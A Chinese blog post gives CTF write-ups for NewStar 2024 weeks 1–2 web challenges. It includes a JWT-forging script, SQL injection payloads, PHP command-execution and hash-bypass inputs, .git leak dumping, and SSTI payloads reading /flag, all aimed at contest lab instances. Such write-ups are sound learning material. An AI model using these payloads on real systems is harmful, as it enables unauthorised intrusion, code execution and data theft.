NewStar2024-Week1,2

文章摘要

Bpple-GPT

week1


PangBai 过家家(1)--Http-jwt-Content-Type-json-压缩包

  • level1

在浏览器中网络请求里面,会发现

进入目标页面

  • level2 get传参
  • level3 post传参,say-hello

Content-Type: application/x-www-form-urlencoded

表头加上这个

  • level4 题目提示代理人,我们修改UA头

User-Agent: Papa/1.0

由于直接输入Papa不行,我尝试协议形式

题目又提示*「玛卡巴卡阿卡哇卡米卡玛卡呣」*

试出来是json传参数

 Content-Type: application/json
 {"say":"玛卡巴卡阿卡哇卡米卡玛卡呣"}
  • level5

题目提示:这里便是 PangBai 的心境了呢!试着解开心结吧 ~ 或许可以尝试用修改(PATCH)的方法提交一个补丁包(name="file"; filename="*.zip")试试。

这个利用,直接贴请求头了,需要修改请求方式:

 PATCH /?ask=miao HTTP/1.1
 Host: 101.200.139.65:24740
 Accept-Encoding: gzip, deflate
 x-forwarded-for: 127.0.0.1
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
 User-Agent: Papa/1.0
 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.BOTOZK3VXFRlRf4nCRvBKAuRbLxPr2D25-GgWmMWsfE
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
 Connection: keep-alive
 Upgrade-Insecure-Requests: 1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 
 ------WebKitFormBoundary7MA4YWxkTrZu0gW
 Content-Disposition: form-data; name="say"
 
 玛卡巴卡阿卡哇卡米卡玛卡呣
 ------WebKitFormBoundary7MA4YWxkTrZu0gW
 Content-Disposition: form-data; name="file"; filename="patch.zip"
 Content-Type: application/zip
 
 (这里是zip文件的二进制数据)
 ------WebKitFormBoundary7MA4YWxkTrZu0gW--
  • level6

题目提示:PangBai 以一种难以形容的表情望着你——激动的、怀念的,却带着些不安与惊恐,像落单后归家的雏鸟,又宛若雷暴中遇难的船员。 你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。 「像■■■■验体■■不可能■■■■ JWT 这种■■ yek8LUTPUnvhKXHF ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」 「......」

给了密钥要修改伪造jwt

 import jwt
 
 # 泄露的密钥
 secret_key = "yek8LUTPUnvhKXHF"
 
 # 载荷数据
 payload = {
     "level": 0
 }
 
 # 生成JWT
 new_token = jwt.encode(payload, secret_key, algorithm="HS256")
 print("新生成的JWT:", new_token)
 

进入level0,点击按钮得到flag

说实话这个0真是试了好久,很骚

headach3

直接抓包,在响应头处发现flag

会赢吗

第一部分:Crtl+u

<--!-- flag第一部分:ZmxhZ3tXQTB3,开始你的新学期吧!:/4cqu1siti0n -->

第二部分:定义了一个js函数

 async function revealFlag(className) {
             try {
                 const response = await fetch(`/api/flag/${className}`, {
                     method: 'POST',
                     headers: {
                         'Content-Type': 'application/json'
                     }
                 });
                 if (response.ok) {
                     const data = await response.json();
                     console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
                 } else {
                     console.error('请求失败,请检查输入或服务器响应。');
                 }
             } catch (error) {
                 console.error('请求过程中出现错误:', error);
             }
         }

在控制台输入 revealFlag('4cqu1siti0n');

恭喜你!你获得了第二部分的 flag: IV95NF9yM2Fs ** …… ** 时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/s34l

第三部分:修改已封印为解封

Flag: MXlfR3I0c1B, 你解救了五条悟!下一关: /Ap3x

第四部分:关闭JavaScript,执行按钮

{"flag":"fSkpKcyF9","nextLevel":null}

ZmxhZ3tXQTB3-IV95NF9yM2Fs-MXlfR3I0c1B-fSkpKcyF9 Base64解码

智械危机

根据题目提示,直接进入/robots.txt,然后进入/backd0or.php

 <?php
 function execute_cmd($cmd) {
     system($cmd);
 }
 
 function decrypt_request($cmd, $key) {
     $decoded_key = base64_decode($key);
     $reversed_cmd = '';
     for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
         $reversed_cmd .= $cmd[$i];
     }
     $hashed_reversed_cmd = md5($reversed_cmd);
     if ($hashed_reversed_cmd !== $decoded_key) {
         die("Invalid key");
     }
     $decrypted_cmd = base64_decode($cmd);
     return $decrypted_cmd;
 }
 
 if (isset($_POST['cmd']) && isset($_POST['key'])) {
     execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
 }
 else {
     highlight_file(__FILE__);
 }
 ?>

一个md5题 ,我们希望$cmd 原始值为 “cat /flag”

bs64编码--> Y2F0IC9mbGFn,

反转--> nFGbm9CI0F2Y

 import hashlib
 def md5_encode(data):
     md5_hash = hashlib.md5()
     md5_hash.update(data.encode('utf-8'))
     md5_digest = md5_hash.hexdigest()
     return md5_digest
 
 data = "nFGbm9CI0F2Y"
 md5_encoded = md5_encode(data)
 
 print(f"原始数据: {data}")
 print(f"MD5 编码: {md5_encoded}")

然后base64编码

 cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=

post传参得到flag

谢谢皮蛋

上去一个输入框,试了一下,是sql注入,这里使用报错注入

 extractvalue(1,concat(0x7e,database()))
 #XPATH syntax error: '~ctf'
 
 extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema= "ctf"))))
 #You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'ki?oj[???'q?tǷ?zW?? 躗(?ƭ???zv?y???)ߢ???*'??^??ZnW???z֛?????r? LIMIT 0,1' at line 1
 
 extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema like "ctf"))))
 #XPATH syntax error: '~Fl4g,hexo'
 
 extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name like "Fl4g"))))
 #XPATH syntax error: '~id,des,value'
 
 extractvalue(1,concat(0x7e,(select(group_concat(value))from(F149))))
 #XPATH syntax error: '~flag{be7d6da3-5b52-455e-84eb...'
 
 extractvalue(1,concat(0x7e,(select(right(group_concat(value),30))from(Fl4g))))
 #XPATH syntax error: '~3-5b52-455e-84eb-78d9e58f254b}'

把flag拼接到一起

week2


你能在一秒内打出八句英文吗

思路:

  • 本来我是想利用禁用JavaScript看看能不能解决,结果没有效果,
  • 然后才用python脚本解决,结果Selenium库最快是1.多秒,我试了几次没有解决
  • 最后才用JavaScript脚本,获取内容,自动输入输出提交

我是在控制台操作,但一开始就需要记时间,需要考验一下我的手速

//获取文章内容
const entext = document.getElementById('text').innerText;
const inputtext = document.getElementById('user-input');
inputtext.value = entext;
document.getElementById('submit-btn').click();

我这个是在火狐浏览进行操作,0.68秒直接获得flag


遗失的拉链

拉链 英文是 zip

可以上去扫一下目录,但是根据题目提示可以直接去下载文件,访问/www.zip下载文件,发现一个php文件内容如下:

<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
    if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
        //欸 为啥sha1和md5相等呢
        $cmd = $_POST['cmd'];
        if (preg_match("/cat|flag/i", $cmd)) {
            die("u can not do this ");
        }
        echo eval($cmd);
    }else{
        echo "Wrong";

    } 
}

利用数组绕过,Payload:

#GET
/pizwww.php?new[]=1
#POST
star[]=2&cmd=system("ls /");
#GET
/pizwww.php?new[]=1
#POST
star[]=2&cmd=system("tac /f*");

得到flag


谢谢皮蛋 plus

这个题我本来想才用上一题的思路,继续使用报错注入,但是发现关键词被ban了,于是就使用联合注入

发现空格被ban了,才用/**/注入

Payload:这里注释不能使用 --+

-1"/**/union/**/select/**/1,database()#
# Name: "1"  Position: "ctf"
-1"/**/union/**/select/**/1,group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema='ctf'#
# Position: "Fl4g,hexo"
-1"/**/union/**/select/**/2,group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='Fl4g'#
#Position: "id,des,value"
-1"/**/union/**/select/**/2,group_concat(value)from/**/ctf.Fl4g#
#得到flag

PangBai 过家家(2)

其实根据题目提示就可以知道是git泄露,当然可以扫一下,这里利用GitHacker这个工具把git拉下来

Githacker --url http://eci-2ze0ppx36y19pn3nmce7.cloudeci1.ichunqiu.com/.git/ --output ns

在当前目录下我使用了 git loggit diff命令没有发现什么可用信息,于是使用

git stash list
# stash@{0}: On main: Backdoor
#发现有东西
git stash pop

发现多了几个文件,正是我们想要的东西

 <?php
 
 # Functions to handle HTML output
 
 function print_msg($msg) {
     $content = file_get_contents('index.html');
     $content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
     $content = preg_replace('/ event/', '', $content);
     $content = str_replace('点击此处载入存档', $msg, $content);
     echo $content;
 }
 
 function show_backdoor() {
     $content = file_get_contents('index.html');
     $content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
     echo $content;
 }
 
 # Backdoor
 
 if ($_POST['papa'] !== 'TfflxoU0ry7c') {
     show_backdoor();
 } else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
     print_msg('PangBai loves you!');
     call_user_func($_POST['func'], $_POST['args']);
 } else {
     print_msg('PangBai hates you!');
 }
 

发现这个是把那个后门文件给替换了,这里我们只用关注最后一段代码

这里需要注意一个细节,当_ 和 .同时出现的时候,应该改 _[

这段代码的逻辑是既要 NewStar_CTF.2024 = Welcome 同时不能匹配到 Welcome,我们需要对传入语句添加一些特殊字符,试了几个后发现 %0a

 #GET
 ?NewStar[CTF.2024=Welcome%0a
 #POST
 papa=TfflxoU0ry7c

最后就是这个 call_user_func函数,第一个传函数名,第二个传参数

 papa=TfflxoU0ry7c&func=system&args=ls /

我用的是hacker传参,需要在源代码处查看回显,但是检查几个目录之后没有flag的地方,最后在变量env处找到flag

 #GET
 ?NewStar[CTF.2024=Welcome%0a
 #POST
 papa=TfflxoU0ry7c&func=system&args=env
 APACHE_CONFDIR=/etc/apache2
 HOSTNAME=engine-1
 PHP_INI_DIR=/usr/local/etc/php
 ECI_CONTAINER_TYPE=normal
 SHLVL=1
 PHP_LDFLAGS=-Wl,-O1 -pie
 APACHE_RUN_DIR=/var/run/apache2
 PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
 PHP_VERSION=7.4.33
 APACHE_PID_FILE=/var/run/apache2/apache2.pid
 GPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
 PHP_ASC_URL=https://www.php.net/distributions/php-7.4.33.tar.xz.asc
 PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
 PHP_URL=https://www.php.net/distributions/php-7.4.33.tar.xz
 USERNAME=
 TERM=xterm
 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
 APACHE_LOCK_DIR=/var/lock/apache2
 LANG=C
 APACHE_RUN_GROUP=www-data
 APACHE_RUN_USER=www-data
 APACHE_LOG_DIR=/var/log/apache2
 PWD=/var/www/html
 PHPIZE_DEPS=autoconf        dpkg-dev        file        g++         gcc         libc-dev        make        pkg-config      re2c
 PHP_SHA256=924846abf93bc613815c55dd3f5809377813ac62a9ec4eb3778675b82a27b927
 PASSWORD=
 APACHE_ENVVARS=/etc/apache2/envvars
 FLAG=flag{b77bcacf-165a-4bb1-b12b-74dac13c4691}
 

复读机

其实看到题目名字就猜到是模板注入(SSTI)

这里我试了一下,直接得到flag了

 {{lipsum.__globals__['os'].popen('tac /flag').read()}}

这里再贴一个

 {{cycler.__init__.__globals__.os.popen('cat /flag').read()}}

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计